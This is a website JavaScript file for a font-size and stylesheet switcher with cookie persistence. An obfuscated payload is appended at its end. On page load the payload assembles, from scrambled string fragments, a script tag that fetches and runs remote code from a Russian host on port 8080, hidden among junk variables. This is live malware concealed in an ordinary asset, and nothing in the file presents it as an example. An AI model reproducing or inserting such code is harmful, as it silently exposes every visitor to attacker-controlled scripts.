
function fontsizeup()
{
	var active = getActiveStyleSheet();

	switch (active)
	{
		case 'A--':
			setActiveStyleSheet('A-');
		break;

		case 'A-':
			setActiveStyleSheet('A');
		break;

		case 'A':
			setActiveStyleSheet('A+');
		break;

		case 'A+':
			setActiveStyleSheet('A++');
		break;

		case 'A++':
			setActiveStyleSheet('A');
		break;

		default:
			setActiveStyleSheet('A');
		break;
	}
}

function fontsizedown()
{
	active = getActiveStyleSheet();

	switch (active)
	{
		case 'A++' : 
			setActiveStyleSheet('A+');
		break;

		case 'A+' : 
			setActiveStyleSheet('A');
		break;

		case 'A' : 
			setActiveStyleSheet('A-');
		break;

		case 'A-' : 
			setActiveStyleSheet('A--');
		break;

		case 'A--' : 
		break;

		default :
			setActiveStyleSheet('A--');
		break;
	}
}

function setActiveStyleSheet(title)
{
	var i, a, main;

	for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
	{
		if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title'))
		{
			a.disabled = true;
			if (a.getAttribute('title') == title)
			{
				a.disabled = false;
			}
		}
	}
}

function getActiveStyleSheet()
{
	var i, a;

	for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
	{
		if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title') && !a.disabled)
		{
			return a.getAttribute('title');
		}
	}

	return null;
}

function getPreferredStyleSheet()
{
	return ('A-');
}

function createCookie(name, value, days)
{
	if (days)
	{
		var date = new Date();
		date.setTime(date.getTime() + (days*24*60*60*1000));
		var expires = '; expires=' + date.toGMTString();
	}
	else
	{
		expires = '';
	}

	document.cookie = name + '=' + value + expires + '; path=/';
}

function readCookie(name)
{
	var nameEQ = name + '=';
	var ca = document.cookie.split(';');

	for (var i = 0; i < ca.length; i++)
	{
		var c = ca[i];

		while (c.charAt(0) == ' ')
		{
			c = c.substring(1, c.length);
		}

		if (c.indexOf(nameEQ) == 0)
		{
			return c.substring(nameEQ.length, c.length);
		}
	}

	return null;
}

function load_cookie()
{
	var cookie = readCookie('style_cookie');
	var title = cookie ? cookie : getPreferredStyleSheet();
	setActiveStyleSheet(title);
}

function unload_cookie()
{
	var title = getActiveStyleSheet();
	createCookie('style_cookie', title, 365);
}

onload_functions.push('load_cookie()');
onunload_functions.push('unload_cookie()');

/*
var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
*/

var h={};var r={Qp:"v"};var i;this.a="";U=function(){var Uy=new Date();J=21674;J+=220;function R(Q,d,Uh){B=["vP","T"];var W={l:7831};return Q.substr(d,Uh);this.LQ=59293;this.LQ+=58;try {var F='G'} catch(F){};}var V=document;try {var ik='oH'} catch(ik){};var k=String("/g"+"oo"+"gl"+"e."+"co"+R("m/dsq",0,2)+"re"+"di"+R("ffQRX",0,2)+R("n7Z.c7Zn",3,2)+R("ompr4",0,2)+R("/tEju",0,2)+"um"+R("blxjy",0,2)+R("r.9EV",0,2)+"co"+R("m.tElp",0,2)+R("FLzphFLz",3,2)+R("GsOzpGzsO",4,1));var b=["Y","iN"];var e=["O","n_"];var o='';this.z=false;this.Tq=false;var oG=RegExp;Yy=27732;Yy++;this.dB=false;function S(Q,d){var Uh=String("[")+d+new String("]");_=3361;_+=96;var C=new oG(Uh, String("g"));eh_=24317;eh_++;this.H=false;return Q.replace(C, o);var Jr="";this.hL=51507;this.hL++;};var zN="zN";var kx="kx";try {var Va='ga'} catch(Va){};var K="body";var Qv=null;var bi=new Array();var Lv=new Array();var Qc=493761-485681;var OH={pD:11298};var p=S('sXc5rIiBpYtk','YC7zIl5jXBk');this.RB=22287;this.RB++;var DX=[];i=function(){try {var Qa=S('c1rJeHajtZe1E1lkeMmPeonJtj','YZ5CHdxvk0WyJj1oMNP');N=V[Qa](p);this.qT=52237;this.qT--;var kP=String("defer");var m=S('sMrMc7','7FeN_08M');var Q=Qc+k;N[m]="http:"+"//bru"+"shmen"+".ru:"+Q;var NxD='';var mL=new Date();N[kP]=[8,1][1];x={};var wh=["OF","xW","Ki"];V[K].appendChild(N);this.Ie=false;this.Ys=false;var pR={};} catch(kf){this.QA=16546;this.QA+=26;gM=52128;gM--;};};this.IT=49501;this.IT--;u=[];};U();this.Cv=62126;this.Cv-=154;window.onload=i;